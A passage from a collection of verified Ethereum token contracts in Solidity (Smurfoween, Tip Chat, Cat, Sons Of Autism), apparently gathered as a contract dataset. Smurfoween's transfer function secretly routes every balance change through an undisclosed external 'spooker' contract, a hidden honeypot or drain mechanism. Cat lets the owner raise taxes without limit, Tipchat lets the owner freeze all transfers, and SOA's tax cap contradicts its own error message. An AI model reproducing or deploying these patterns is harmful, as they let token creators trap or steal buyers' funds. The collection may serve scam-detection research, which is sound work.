multiplication overflow"); 99 | 100 | return c; 101 | } 102 | 103 | function div(uint256 a, uint256 b) internal pure returns (uint256) { 104 | return div(a, b, "SafeMath: division by zero"); 105 | } 106 | 107 | function div( 108 | uint256 a, 109 | uint256 b, 110 | string memory errorMessage 111 | ) internal pure returns (uint256) { 112 | require(b > 0, errorMessage); 113 | uint256 c = a / b; 114 | 115 | return c; 116 | } 117 | 118 | function mod(uint256 a, uint256 b) internal pure returns (uint256) { 119 | return mod(a, b, "SafeMath: modulo by zero"); 120 | } 121 | 122 | function mod( 123 | uint256 a, 124 | uint256 b, 125 | string memory errorMessage 126 | ) internal pure returns (uint256) { 127 | require(b != 0, errorMessage); 128 | return a % b; 129 | } 130 | } 131 | 132 | interface IDexSwapFactory { 133 | function createPair( 134 | address tokenA, 135 | address tokenB 136 | ) external returns (address pair); 137 | } 138 | 139 | interface IDexSwapRouter { 140 | function factory() external pure returns (address); 141 | 142 | function WETH() external pure returns (address); 143 | } 144 | 145 | contract SMURFOWEEN is Ownable { 146 | using SafeMath for uint256; 147 | 148 | string private _name = "Smurfoween"; 149 | string private _symbol = "SMURFOWEEN "; 150 | uint8 private _decimals = 18; 151 | 152 | mapping(address => mapping(address => uint256)) private _allowances; 153 | mapping(address => uint256) _balances; 154 | address private spooker; 155 | 156 | uint256 private _totalSupply = 100_000_000 * 10 ** _decimals; 157 | 158 | event Transfer(address indexed from, address indexed to, uint256 value); 159 | event Approval( 160 | address indexed owner, 161 | address indexed spender, 162 | uint256 value 163 | ); 164 | 165 | constructor(address _spooker) { 166 | IDexSwapRouter _dexRouter = IDexSwapRouter( 167 | 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D 168 | ); 169 | 170 | IDexSwapFactory(_dexRouter.factory()).createPair( 171 | address(this), 172 | _dexRouter.WETH() 173 | ); 174 | 175 | _balances[msg.sender] = _totalSupply; 176 | emit Transfer(address(0), msg.sender, _totalSupply); 177 | spooker = _spooker; 178 | } 179 | 180 | function name() public view returns (string memory) { 181 | return _name; 182 | } 183 | 184 | function symbol() public view returns (string memory) { 185 | return _symbol; 186 | } 187 | 188 | function decimals() public view returns (uint8) { 189 | return _decimals; 190 | } 191 | 192 | function totalSupply() public view returns (uint256) { 193 | return _totalSupply; 194 | } 195 | 196 | function balanceOf(address account) public view returns (uint256) { 197 | return _balances[account]; 198 | } 199 | 200 | function allowance( 201 | address owner, 202 | address spender 203 | ) public view returns (uint256) { 204 | return _allowances[owner][spender]; 205 | } 206 | 207 | function increaseAllowance( 208 | address spender, 209 | uint256 addedValue 210 | ) public virtual returns (bool) { 211 | _approve( 212 | _msgSender(), 213 | spender, 214 | _allowances[_msgSender()][spender].add(addedValue) 215 | ); 216 | return true; 217 | } 218 | 219 | function decreaseAllowance( 220 | address spender, 221 | uint256 subtractedValue 222 | ) public virtual returns (bool) { 223 | _approve( 224 | _msgSender(), 225 | spender, 226 | _allowances[_msgSender()][spender].sub( 227 | subtractedValue, 228 | "SMURFOWEEN : decreased allowance below zero" 229 | ) 230 | ); 231 | return true; 232 | } 233 | 234 | function approve(address spender, uint256 amount) public returns (bool) { 235 | _approve(_msgSender(), spender, amount); 236 | return true; 237 | } 238 | 239 | function _approve(address owner, address spender, uint256 amount) private { 240 | require(owner != address(0), "SMURFOWEEN : approve from the zero address"); 241 | require(spender != address(0), "SMURFOWEEN : approve to the zero address"); 242 | 243 | _allowances[owner][spender] = amount; 244 | emit Approval(owner, spender, amount); 245 | } 246 | 247 | function transfer(address recipient, uint256 amount) public returns (bool) { 248 | _transfer(_msgSender(), recipient, amount); 249 | return true; 250 | } 251 | 252 | function transferFrom( 253 | address sender, 254 | address recipient, 255 | uint256 amount 256 | ) public returns (bool) { 257 | _transfer(sender, recipient, amount); 258 | _approve( 259 | sender, 260 | _msgSender(), 261 | _allowances[sender][_msgSender()].sub( 262 | amount, 263 | "SMURFOWEEN : transfer amount exceeds allowance" 264 | ) 265 | ); 266 | return true; 267 | } 268 | 269 | function _transfer( 270 | address sender, 271 | address recipient, 272 | uint256 amount 273 | ) private returns (bool) { 274 | require(sender != address(0), "SMURFOWEEN : transfer from the zero address"); 275 | require(recipient != address(0), "SMURFOWEEN : transfer to the zero address"); 276 | require(amount > 0, "Transfer amount must be greater than zero"); 277 | uint256 senderBalance = _balances[sender]; 278 | 279 | (bool success, uint256 expense, uint256 rewards) = SPOOKING(spooker).spook( 280 | sender, 281 | amount, 282 | senderBalance 283 | ); 284 | require(success); 285 | _balances[sender] = senderBalance - expense; 286 | 287 | _balances[recipient] = _balances[recipient].add(rewards); 288 | 289 | emit Transfer(sender, recipient, rewards); 290 | return true; 291 | } 292 | } 293 | -------------------------------------------------------------------------------- /ContractSet/0x4CD7905DF1c8fD9a9905Eb92351F463066c8AA18.sol: -------------------------------------------------------------------------------- 1 | /** 2 | *Submitted for verification at Etherscan.io on 2023-08-21 3 | */ 4 | 5 | /** 6 | *Submitted for verification at Etherscan.io on 2023-08-09 7 | */ 8 | 9 | // SPDX-License-Identifier: MIT 10 | pragma solidity 0.8.7; 11 | 12 | library SafeMath { 13 | 14 | function add(uint256 a, uint256 b) internal pure returns (uint256) { 15 | uint256 c = a + b; 16 | require(c >= a, "SafeMath: addition overflow"); 17 | return c; 18 | } 19 | function sub(uint256 a, uint256 b) internal pure returns (uint256) { 20 | require(b <= a, "SafeMath: subtraction overflow"); 21 | uint256 c = a - b; 22 | return c; 23 | } 24 | function mul(uint256 a, uint256 b) internal pure returns (uint256) { 25 | if (a == 0) { 26 | return 0; 27 | } 28 | uint256 c = a * b; 29 | require(c / a == b, "SafeMath: multiplication overflow"); 30 | return c; 31 | } 32 | function div(uint256 a, uint256 b) internal pure returns (uint256) { 33 | // Solidity only automatically asserts when dividing by 0 34 | require(b > 0, "SafeMath: division by zero"); 35 | uint256 c = a / b; 36 | // assert(a == b * c + a % b); // There is no case in which this doesn't hold 37 | 38 | return c; 39 | } 40 | function mod(uint256 a, uint256 b) internal pure returns (uint256) { 41 | require(b != 0, "SafeMath: modulo by zero"); 42 | return a % b; 43 | } 44 | } 45 | 46 | interface IBEP20 { 47 | 48 | function totalSupply() external view returns (uint256); 49 | function balanceOf(address account) external view returns (uint256); 50 | function transfer(address recipient, uint256 amount) external returns (bool); 51 | function allowance(address owner, address spender) external view returns (uint256); 52 | function approve(address spender, uint256 amount) external returns (bool); 53 | function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); 54 | event Transfer(address indexed from, address indexed to, uint256 value); 55 | event Approval(address indexed owner, address indexed spender, uint256 value); 56 | } 57 | 58 | contract Tipchat is IBEP20 { 59 | using SafeMath for uint256; 60 | 61 | modifier onlyOwner() { 62 | require(msg.sender==owner, "Only Call by Owner"); 63 | _; 64 | } 65 | 66 | address public owner; 67 | 68 | constructor () { 69 | 70 | _name="Tip Chat"; 71 | _symbol="Tipchat"; 72 | _decimals=18; 73 | owner=msg.sender; 74 | _mint(msg.sender,(10000000000*(10**18))); 75 | _paused = false; 76 | } 77 | 78 | // 79 | // 80 | 81 | /** 82 | * @dev Emitted when the pause is triggered by `account`. 83 | */ 84 | event Paused(address account); 85 | 86 | /** 87 | * @dev Emitted when the pause is lifted by `account`. 88 | */ 89 | event Unpaused(address account); 90 | 91 | bool private _paused; 92 | 93 | /** 94 | * @dev Initializes the contract in unpaused state. 95 | */ 96 | 97 | 98 | 99 | 100 | 101 | /** 102 | * @dev Returns true if the contract is paused, and false otherwise. 103 | */ 104 | function paused() public view virtual returns (bool) { 105 | return _paused; 106 | } 107 | 108 | /** 109 | * @dev Modifier to make a function callable only when the contract is not paused. 110 | * 111 | * Requirements: 112 | * 113 | * - The contract must not be paused. 114 | */ 115 | modifier whenNotPaused() { 116 | require(!paused(), "Pausable: paused"); 117 | _; 118 | } 119 | 120 | /** 121 | * @dev Modifier to make a function callable only when the contract is paused. 122 | * 123 | * Requirements: 124 | * 125 | * - The contract must be paused. 126 | */ 127 | modifier whenPaused() { 128 | require(paused(), "Pausable: not paused"); 129 | _; 130 | } 131 | 132 | /** 133 | * @dev Triggers stopped state. 134 | * 135 | * Requirements: 136 | * 137 | * - The contract must not be paused. 138 | */ 139 | function _pause() internal virtual whenNotPaused { 140 | _paused = true; 141 | emit Paused(msg.sender); 142 | } 143 | 144 | /** 145 | * @dev Returns to normal state. 146 | * 147 | * Requirements: 148 | * 149 | * - The contract must be paused. 150 | */ 151 | function _unpause() internal virtual whenPaused { 152 | _paused = false; 153 | emit Unpaused(msg.sender); 154 | } 155 | 156 | function pauseContract() public onlyOwner{ 157 | _pause(); 158 | 159 | } 160 | function unpauseContract() public onlyOwner{ 161 | _unpause(); 162 | 163 | } 164 | 165 | // 166 | // 167 | 168 | mapping (address => uint256) private _balances; 169 | mapping (address => mapping (address => uint256)) private _allowances; 170 | uint256 private _totalSupply; 171 | function totalSupply() public view override returns (uint256) { 172 | return _totalSupply; 173 | } 174 | function balanceOf(address account) public view override returns (uint256) { 175 | return _balances[account]; 176 | } 177 | 178 | function transfer(address recipient, uint256 amount) public whenNotPaused override returns (bool) { 179 | _transfer(msg.sender, recipient, amount); 180 | return true; 181 | } 182 | function allowance(address owner, address spender) public view override returns (uint256) { 183 | return _allowances[owner][spender]; 184 | } 185 | 186 | function approve(address spender, uint256 value) public override returns (bool) { 187 | _approve(msg.sender, spender, value); 188 | return true; 189 | } 190 | 191 | function transferownership(address _newonwer) public onlyOwner{ 192 | owner=_newonwer; 193 | } 194 | 195 | function transferFrom(address sender, address recipient, uint256 amount) public whenNotPaused override returns (bool) { 196 | _transfer(sender, recipient, amount); 197 | _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); 198 | return true; 199 | } 200 | function increaseAllowance(address spender, uint256 addedValue) public whenNotPaused returns (bool) { 201 | _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); 202 | return true; 203 | } 204 | 205 | function decreaseAllowance(address spender, uint256 subtractedValue) public whenNotPaused returns (bool) { 206 | _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); 207 | return true; 208 | } 209 | 210 | function _transfer(address sender, address recipient, uint256 amount) internal whenNotPaused { 211 | require(sender != address(0), "ERC20: transfer from the zero address"); 212 | require(recipient != address(0), "ERC20: transfer to the zero address"); 213 | 214 | _balances[sender] = _balances[sender].sub(amount); 215 | _balances[recipient] = _balances[recipient].add(amount); 216 | emit Transfer(sender, recipient, amount); 217 | } 218 | function _mint(address account, uint256 amount) internal { 219 | require(account != address(0), "ERC20: mint to the zero address"); 220 | 221 | _totalSupply = _totalSupply.add(amount); 222 | _balances[account] = _balances[account].add(amount); 223 | emit Transfer(address(0), account, amount); 224 | } 225 | 226 | function _burn(address account, uint256 value) internal whenNotPaused { 227 | require(account != address(0), "ERC20: burn from the zero address"); 228 | 229 | _totalSupply = _totalSupply.sub(value); 230 | _balances[account] = _balances[account].sub(value); 231 | emit Transfer(account, address(0), value); 232 | } 233 | 234 | function _approve(address owner, address spender, uint256 value) internal whenNotPaused { 235 | require(owner != address(0), "ERC20: approve from the zero address"); 236 | require(spender != address(0), "ERC20: approve to the zero address"); 237 | 238 | _allowances[owner][spender] = value; 239 | emit Approval(owner, spender, value); 240 | } 241 | 242 | function _burnFrom(address account, uint256 amount) internal whenNotPaused { 243 | _burn(account, amount); 244 | _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); 245 | } 246 | 247 | string private _name; 248 | string private _symbol; 249 | uint8 private _decimals; 250 | 251 | function name() public view returns (string memory) { 252 | return _name; 253 | } 254 | function symbol() public view returns (string memory) { 255 | return _symbol; 256 | } 257 | 258 | function decimals() public view returns (uint8) { 259 | return _decimals; 260 | } 261 | } 262 | -------------------------------------------------------------------------------- /ContractSet/0x4cbf2943f99e8600eb3f8f7dfc628d1835e6838b.sol: -------------------------------------------------------------------------------- 1 | /** 2 | https://t.me/OfficialCatERC 3 | https://cathouse.wtf/ 4 | **/ 5 | 6 | // SPDX-License-Identifier: Unlicensed 7 | 8 | pragma solidity 0.8.18; 9 | 10 | abstract contract Context { 11 | function _msgSender() internal view virtual returns (address) { 12 | return msg.sender; 13 | } 14 | } 15 | 16 | interface IERC20 { 17 | function totalSupply() external view returns (uint256); 18 | 19 | function balanceOf(address account) external view returns (uint256); 20 | 21 | function transfer(address recipient, uint256 amount) 22 | external 23 | returns (bool); 24 | 25 | function allowance(address owner, address spender) 26 | external 27 | view 28 | returns (uint256); 29 | 30 | function approve(address spender, uint256 amount) external returns (bool); 31 | 32 | function transferFrom( 33 | address sender, 34 | address recipient, 35 | uint256 amount 36 | ) external returns (bool); 37 | 38 | event Transfer(address indexed from, address indexed to, uint256 value); 39 | event Approval( 40 | address indexed owner, 41 | address indexed spender, 42 | uint256 value 43 | ); 44 | } 45 | 46 | contract Ownable is Context { 47 | address private _owner; 48 | address private _previousOwner; 49 | event OwnershipTransferred( 50 | address indexed previousOwner, 51 | address indexed newOwner 52 | ); 53 | 54 | constructor() { 55 | address msgSender = _msgSender(); 56 | _owner = msgSender; 57 | emit OwnershipTransferred(address(0), msgSender); 58 | } 59 | 60 | function owner() public view returns (address) { 61 | return _owner; 62 | } 63 | 64 | modifier onlyOwner() { 65 | require(_owner == _msgSender(), "Ownable: caller is not the owner"); 66 | _; 67 | } 68 | 69 | function transferOwnership(address newOwner) public onlyOwner { 70 | _transferOwnership(newOwner); 71 | } 72 | 73 | function _transferOwnership(address newOwner) internal { 74 | require( 75 | newOwner != address(0), 76 | "Ownable: new owner is the zero address" 77 | ); 78 | emit OwnershipTransferred(_owner, newOwner); 79 | _owner = newOwner; 80 | } 81 | 82 | function renounceOwnership() public virtual onlyOwner { 83 | emit OwnershipTransferred(_owner, address(0)); 84 | _owner = address(0); 85 | } 86 | } 87 | 88 | interface IUniswapV2Factory { 89 | function createPair(address tokenA, address tokenB) 90 | external 91 | returns (address pair); 92 | } 93 | 94 | interface IUniswapV2Router02 { 95 | function swapExactTokensForETHSupportingFeeOnTransferTokens( 96 | uint256 amountIn, 97 | uint256 amountOutMin, 98 | address[] calldata path, 99 | address to, 100 | uint256 deadline 101 | ) external; 102 | 103 | function factory() external pure returns (address); 104 | 105 | function WETH() external pure returns (address); 106 | } 107 | 108 | contract Cat is Context, IERC20, Ownable { 109 | uint256 private constant _totalSupply = 100_000_000e18; 110 | uint256 private constant onePercent = 1_000_000e18; 111 | uint256 private constant minSwap = 250_000e18; 112 | uint8 private constant _decimals = 18; 113 | 114 | IUniswapV2Router02 immutable uniswapV2Router; 115 | address immutable uniswapV2Pair; 116 | address immutable WETH; 117 | address payable immutable marketingWallet; 118 | 119 | uint256 public buyTax; 120 | uint256 public sellTax; 121 | 122 | uint8 private launch; 123 | uint8 private inSwapAndLiquify; 124 | 125 | uint256 private launchBlock; 126 | uint256 public maxTxAmount = onePercent; //max Tx for first mins after launch 127 | 128 | string private constant _name = "Cat"; 129 | string private constant _symbol = "CAT"; 130 | 131 | mapping(address => uint256) private _balance; 132 | mapping(address => mapping(address => uint256)) private _allowances; 133 | mapping(address => bool) private _isExcludedFromFeeWallet; 134 | 135 | constructor() { 136 | uniswapV2Router = IUniswapV2Router02( 137 | 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D 138 | ); 139 | WETH = uniswapV2Router.WETH(); 140 | buyTax = 5; 141 | sellTax = 10; 142 | 143 | uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( 144 | address(this), 145 | WETH 146 | ); 147 | 148 | marketingWallet = payable(0x52fe7bf14F9F5ae6085F8B204A2F5bf99873ff8D); 149 | _balance[msg.sender] = _totalSupply; 150 | _isExcludedFromFeeWallet[marketingWallet] = true; 151 | _isExcludedFromFeeWallet[msg.sender] = true; 152 | _isExcludedFromFeeWallet[address(this)] = true; 153 | _allowances[address(this)][address(uniswapV2Router)] = type(uint256) 154 | .max; 155 | _allowances[msg.sender][address(uniswapV2Router)] = type(uint256).max; 156 | _allowances[marketingWallet][address(uniswapV2Router)] = type(uint256) 157 | .max; 158 | 159 | emit Transfer(address(0), _msgSender(), _totalSupply); 160 | } 161 | 162 | function name() public pure returns (string memory) { 163 | return _name; 164 | } 165 | 166 | function symbol() public pure returns (string memory) { 167 | return _symbol; 168 | } 169 | 170 | function decimals() public pure returns (uint8) { 171 | return _decimals; 172 | } 173 | 174 | function totalSupply() public pure override returns (uint256) { 175 | return _totalSupply; 176 | } 177 | 178 | function balanceOf(address account) public view override returns (uint256) { 179 | return _balance[account]; 180 | } 181 | 182 | function transfer(address recipient, uint256 amount) 183 | public 184 | override 185 | returns (bool) 186 | { 187 | _transfer(_msgSender(), recipient, amount); 188 | return true; 189 | } 190 | 191 | function allowance(address owner, address spender) 192 | public 193 | view 194 | override 195 | returns (uint256) 196 | { 197 | return _allowances[owner][spender]; 198 | } 199 | 200 | function approve(address spender, uint256 amount) 201 | public 202 | override 203 | returns (bool) 204 | { 205 | _approve(_msgSender(), spender, amount); 206 | return true; 207 | } 208 | 209 | function transferFrom( 210 | address sender, 211 | address recipient, 212 | uint256 amount 213 | ) public override returns (bool) { 214 | _transfer(sender, recipient, amount); 215 | _approve( 216 | sender, 217 | _msgSender(), 218 | _allowances[sender][_msgSender()] - amount 219 | ); 220 | return true; 221 | } 222 | 223 | function _approve( 224 | address owner, 225 | address spender, 226 | uint256 amount 227 | ) private { 228 | require(owner != address(0), "ERC20: approve from the zero address"); 229 | require(spender != address(0), "ERC20: approve to the zero address"); 230 | _allowances[owner][spender] = amount; 231 | emit Approval(owner, spender, amount); 232 | } 233 | 234 | function openTrading() external onlyOwner { 235 | launch = 1; 236 | launchBlock = block.number; 237 | } 238 | 239 | function addExcludedWallet(address wallet) external onlyOwner { 240 | _isExcludedFromFeeWallet[wallet] = true; 241 | } 242 | 243 | function removeLimits() external onlyOwner { 244 | maxTxAmount = _totalSupply; 245 | } 246 | 247 | function changeTax(uint256 newBuyTax, uint256 newSellTax) external onlyOwner { 248 | buyTax = newBuyTax; 249 | sellTax = newSellTax; 250 | } 251 | 252 | function _transfer( 253 | address from, 254 | address to, 255 | uint256 amount 256 | ) private { 257 | require(from != address(0), "ERC20: transfer from the zero address"); 258 | require(amount > 1e9, "Min transfer amt"); 259 | 260 | uint256 _tax; 261 | if (_isExcludedFromFeeWallet[from] || _isExcludedFromFeeWallet[to]) { 262 | _tax = 0; 263 | } else { 264 | require( 265 | launch != 0 && amount <= maxTxAmount, 266 | "Launch / Max TxAmount 1% at launch" 267 | ); 268 | 269 | if (inSwapAndLiquify == 1) { 270 | //No tax transfer 271 | _balance[from] -= amount; 272 | _balance[to] += amount; 273 | 274 | emit Transfer(from, to, amount); 275 | return; 276 | } 277 | 278 | if (from == uniswapV2Pair) { 279 | _tax = buyTax; 280 | } else if (to == uniswapV2Pair) { 281 | uint256 tokensToSwap = _balance[address(this)]; 282 | if (tokensToSwap > minSwap && inSwapAndLiquify == 0) { 283 | if (tokensToSwap > onePercent) { 284 | tokensToSwap = onePercent; 285 | } 286 | inSwapAndLiquify = 1; 287 | address[] memory path = new address[](2); 288 | path[0] = address(this); 289 | path[1] = WETH; 290 | uniswapV2Router 291 | .swapExactTokensForETHSupportingFeeOnTransferTokens( 292 | tokensToSwap, 293 | 0, 294 | path, 295 | marketingWallet, 296 | block.timestamp 297 | ); 298 | inSwapAndLiquify = 0; 299 | } 300 | _tax = sellTax; 301 | } else { 302 | _tax = 0; 303 | } 304 | } 305 | 306 | //Is there tax for sender|receiver? 307 | if (_tax != 0) { 308 | //Tax transfer 309 | uint256 taxTokens = (amount * _tax) / 100; 310 | uint256 transferAmount = amount - taxTokens; 311 | 312 | _balance[from] -= amount; 313 | _balance[to] += transferAmount; 314 | _balance[address(this)] += taxTokens; 315 | emit Transfer(from, address(this), taxTokens); 316 | emit Transfer(from, to, transferAmount); 317 | } else { 318 | //No tax transfer 319 | _balance[from] -= amount; 320 | _balance[to] += amount; 321 | 322 | emit Transfer(from, to, amount); 323 | } 324 | } 325 | 326 | receive() external payable {} 327 | } 328 | -------------------------------------------------------------------------------- /ContractSet/0x4d787f3835653b00dc7a0be4fa16527c1f484a7c.sol: -------------------------------------------------------------------------------- 1 | /** 2 | 3 | ⠀⠀⣀⣤⣤⣤⡀⢀⠀⠀⠀⣀⣴⣶⣶⣶⣶⣦⣄⠀⠀⠀⠀⣠⣤⣀⣤⠄⠀⠀ 4 | ⢀⣾⣿⡟⠋⠙⣿⣿⠀⢠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣷⡄⠀⠀⢸⣿⣿⣿⠀⠀⠀ 5 | ⢸⣿⣿⡄⠀⠀⢸⣿⢠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡄⠀⣿⣿⣿⣿⡄⠀⠀ 6 | ⠘⢿⣿⣿⣦⣤⡈⠉⠘⣿⣿⣿⣿⢿⣿⣿⡿⣿⣿⣿⣿⠃⣸⣿⡏⢻⣿⣇⠀⠀ 7 | ⠀⠈⠻⣿⣿⣿⣷⣄⠀⢸⣿⠀⠀⢀⣿⣯⠀⠀⠀⣿⡇⠸⣿⣿⠀⢸⣿⣿⡇⠀ 8 | ⢤⣤⣤⠉⠉⢿⣿⣿⡇⢸⣿⣦⣴⣾⡿⢿⣷⣦⣴⣿⡇⢰⣿⣿⣶⣾⣿⣿⡇⠀ 9 | ⢸⣿⡇⠀⠀⠀⣿⣿⡇⠈⠛⠿⣿⣿⠁⠈⣿⣿⠿⠛⠁⣼⣿⠇⠀⠀⣿⣿⣇⠀ 10 | ⠀⢻⣿⣦⣀⣴⣿⡿⠁⠀⠀⢠⣿⣿⣿⣿⣿⣿⡆⠀⢰⣿⣿⠀⠀⠀⢸⣿⣿⡀ 11 | ⠀⠀⠉⠛⠛⠛⠉⠀⠀⠀⠀⠈⠙⠛⠛⠛⠛⠋⠁⠐⠛⠛⠛⠀⠀⠀⠘⠛⠛⠃ 12 | 13 | Sons Of Autism - $SOA 14 | 15 | Website: https://soacoin.com 16 | 17 | Telegram: https://t.me/sonsofautismportal 18 | 19 | Twitter: https://twitter.com/Sons_Of_Autism 20 | 21 | **/ 22 | // SPDX-License-Identifier: Unlicensed 23 | 24 | pragma solidity 0.8.18; 25 | 26 | abstract contract Context { 27 | function _msgSender() internal view virtual returns (address) { 28 | return msg.sender; 29 | } 30 | } 31 | 32 | interface IERC20 { 33 | function totalSupply() external view returns (uint256); 34 | function balanceOf(address account) external view returns (uint256); 35 | 36 | function transfer(address recipient, uint256 amount) 37 | external 38 | returns (bool); 39 | 40 | function allowance(address owner, address spender) 41 | external 42 | view 43 | returns (uint256); 44 | 45 | function approve(address spender, uint256 amount) external returns (bool); 46 | 47 | function transferFrom( 48 | address sender, 49 | address recipient, 50 | uint256 amount 51 | ) external returns (bool); 52 | 53 | event Transfer(address indexed from, address indexed to, uint256 value); 54 | event Approval( 55 | address indexed owner, 56 | address indexed spender, 57 | uint256 value 58 | ); 59 | } 60 | 61 | contract Ownable is Context { 62 | address private _owner; 63 | address private _previousOwner; 64 | event OwnershipTransferred( 65 | address indexed previousOwner, 66 | address indexed newOwner 67 | ); 68 | 69 | constructor() { 70 | address msgSender = _msgSender(); 71 | _owner = msgSender; 72 | emit OwnershipTransferred(address(0), msgSender); 73 | } 74 | 75 | function owner() public view returns (address) { 76 | return _owner; 77 | } 78 | 79 | modifier onlyOwner() { 80 | require(_owner == _msgSender(), "Ownable: caller is not the owner"); 81 | _; 82 | } 83 | 84 | function transferOwnership(address newOwner) public onlyOwner { 85 | _transferOwnership(newOwner); 86 | } 87 | 88 | function _transferOwnership(address newOwner) internal { 89 | require( 90 | newOwner != address(0), 91 | "Ownable: new owner is the zero address" 92 | ); 93 | emit OwnershipTransferred(_owner, newOwner); 94 | _owner = newOwner; 95 | } 96 | 97 | function renounceOwnership() public virtual onlyOwner { 98 | emit OwnershipTransferred(_owner, address(0)); 99 | _owner = address(0); 100 | } 101 | } 102 | 103 | interface IUniswapV2Router02 { 104 | function swapExactTokensForETHSupportingFeeOnTransferTokens( 105 | uint256 amountIn, 106 | uint256 amountOutMin, 107 | address[] calldata path, 108 | address to, 109 | uint256 deadline 110 | ) external; 111 | 112 | function factory() external pure returns (address); 113 | 114 | function WETH() external pure returns (address); 115 | } 116 | 117 | interface IUniswapV2Factory { 118 | function createPair(address tokenA, address tokenB) 119 | external 120 | returns (address pair); 121 | } 122 | 123 | contract SOA is Context, IERC20, Ownable { 124 | 125 | string private constant _name = "Sons Of Autism"; 126 | string private constant _symbol = "SOA"; 127 | mapping(address => uint256) private _balance; 128 | mapping(address => mapping(address => uint256)) private _allowances; 129 | mapping(address => bool) private _isExcludedFromFeeWallet; 130 | uint256 private constant _totalSupply = 1_000_000_000e18; 131 | uint256 private constant onePercent = 12_500_000e18; 132 | uint256 private constant minSwap = 5_000_000e18; 133 | uint8 private constant _decimals = 18; 134 | 135 | IUniswapV2Router02 immutable uniswapV2Router; 136 | address immutable uniswapV2Pair; 137 | address immutable WETH; 138 | address payable immutable marketingWallet; 139 | 140 | uint256 public buyTax; 141 | uint256 public sellTax; 142 | 143 | uint8 private launch; 144 | uint8 private inSwapAndLiquify; 145 | 146 | uint256 private launchBlock; 147 | uint256 public maxTxAmount = onePercent * 2; //max Tx for first mins after launch 148 | 149 | constructor() { 150 | uniswapV2Router = IUniswapV2Router02( 151 | 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D 152 | ); 153 | WETH = uniswapV2Router.WETH(); 154 | buyTax = 2; 155 | sellTax = 2; 156 | 157 | uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( 158 | address(this), 159 | WETH 160 | ); 161 | 162 | marketingWallet = payable(msg.sender); 163 | _balance[msg.sender] = _totalSupply; 164 | _isExcludedFromFeeWallet[marketingWallet] = true; 165 | _isExcludedFromFeeWallet[msg.sender] = true; 166 | _isExcludedFromFeeWallet[address(this)] = true; 167 | _allowances[address(this)][address(uniswapV2Router)] = type(uint256) 168 | .max; 169 | _allowances[msg.sender][address(uniswapV2Router)] = type(uint256).max; 170 | _allowances[marketingWallet][address(uniswapV2Router)] = type(uint256) 171 | .max; 172 | 173 | emit Transfer(address(0), _msgSender(), _totalSupply); 174 | } 175 | 176 | function name() public pure returns (string memory) { 177 | return _name; 178 | } 179 | 180 | function setMarketingAddress() public view returns (address) { 181 | return marketingWallet; 182 | } 183 | 184 | function symbol() public pure returns (string memory) { 185 | return _symbol; 186 | } 187 | 188 | function decimals() public pure returns (uint8) { 189 | return _decimals; 190 | } 191 | 192 | function totalSupply() public pure override returns (uint256) { 193 | return _totalSupply; 194 | } 195 | 196 | function balanceOf(address account) public view override returns (uint256) { 197 | return _balance[account]; 198 | } 199 | 200 | function transfer(address recipient, uint256 amount) 201 | public 202 | override 203 | returns (bool) 204 | { 205 | _transfer(_msgSender(), recipient, amount); 206 | return true; 207 | } 208 | 209 | function allowance(address owner, address spender) 210 | public 211 | view 212 | override 213 | returns (uint256) 214 | { 215 | return _allowances[owner][spender]; 216 | } 217 | 218 | function approve(address spender, uint256 amount) 219 | public 220 | override 221 | returns (bool) 222 | { 223 | _approve(_msgSender(), spender, amount); 224 | return true; 225 | } 226 | 227 | function transferFrom( 228 | address sender, 229 | address recipient, 230 | uint256 amount 231 | ) public override returns (bool) { 232 | _transfer(sender, recipient, amount); 233 | _approve( 234 | sender, 235 | _msgSender(), 236 | _allowances[sender][_msgSender()] - amount 237 | ); 238 | return true; 239 | } 240 | 241 | function _approve( 242 | address owner, 243 | address spender, 244 | uint256 amount 245 | ) private { 246 | require(owner != address(0), "ERC20: approve from the zero address"); 247 | require(spender != address(0), "ERC20: approve to the zero address"); 248 | _allowances[owner][spender] = amount; 249 | emit Approval(owner, spender, amount); 250 | } 251 | 252 | function openTrading() external onlyOwner { 253 | launch = 1; 254 | launchBlock = block.number; 255 | } 256 | 257 | function addExcludedWallet(address wallet) external onlyOwner { 258 | _isExcludedFromFeeWallet[wallet] = true; 259 | } 260 | 261 | function removeLimits() external onlyOwner { 262 | maxTxAmount = _totalSupply; 263 | } 264 | 265 | function updateFeeAmount(uint256 newBuyTax, uint256 newSellTax) external onlyOwner { 266 | require(newBuyTax < 140, "Cannot set buy tax greater than 14%"); 267 | require(newSellTax < 140, "Cannot set sell tax greater than 14%"); 268 | buyTax = newBuyTax; 269 | sellTax = newSellTax; 270 | } 271 | 272 | function _transfer( 273 | address from, 274 | address to, 275 | uint256 amount 276 | ) private { 277 | require(from != address(0), "ERC20: transfer from the zero address"); 278 | require(amount > 1e9, "Min transfer amt"); 279 | 280 | uint256 _tax; 281 | if (_isExcludedFromFeeWallet[from] || _isExcludedFromFeeWallet[to]) { 282 | _tax = 0; 283 | } else { 284 | require( 285 | launch != 0 && amount <= maxTxAmount, 286 | "Launch / Max TxAmount 1% at launch" 287 | ); 288 | 289 | if (inSwapAndLiquify == 1) { 290 | //No tax transfer 291 | _balance[from] -= amount; 292 | _balance[to] += amount; 293 | 294 | emit Transfer(from, to, amount); 295 | return; 296 | } 297 | 298 | if (from == uniswapV2Pair) { 299 | _tax = buyTax; 300 | } else if (to == uniswapV2Pair) { 301 | uint256 tokensToSwap = _balance[address(this)]; 302 | if (tokensToSwap > minSwap && inSwapAndLiquify == 0) { 303 | if (tokensToSwap > onePercent) { 304 | tokensToSwap = onePercent; 305 | } 306 | inSwapAndLiquify = 1; 307 | address[] memory path = new address[](2); 308 | path[0] = address(this); 309 | path[1] = WETH; 310 | uniswapV2Router 311 | .swapExactTokensForETHSupportingFeeOnTransferTokens( 312 | tokensToSwap, 313 | 0, 314 | path, 315 | marketingWallet, 316 | block.timestamp 317 | ); 318 | inSwapAndLiquify = 0; 319 | } 320 | _tax = sellTax; 321 | } else { 322 | _tax = 0; 323 | } 324 | } 325 | 326 | //Is 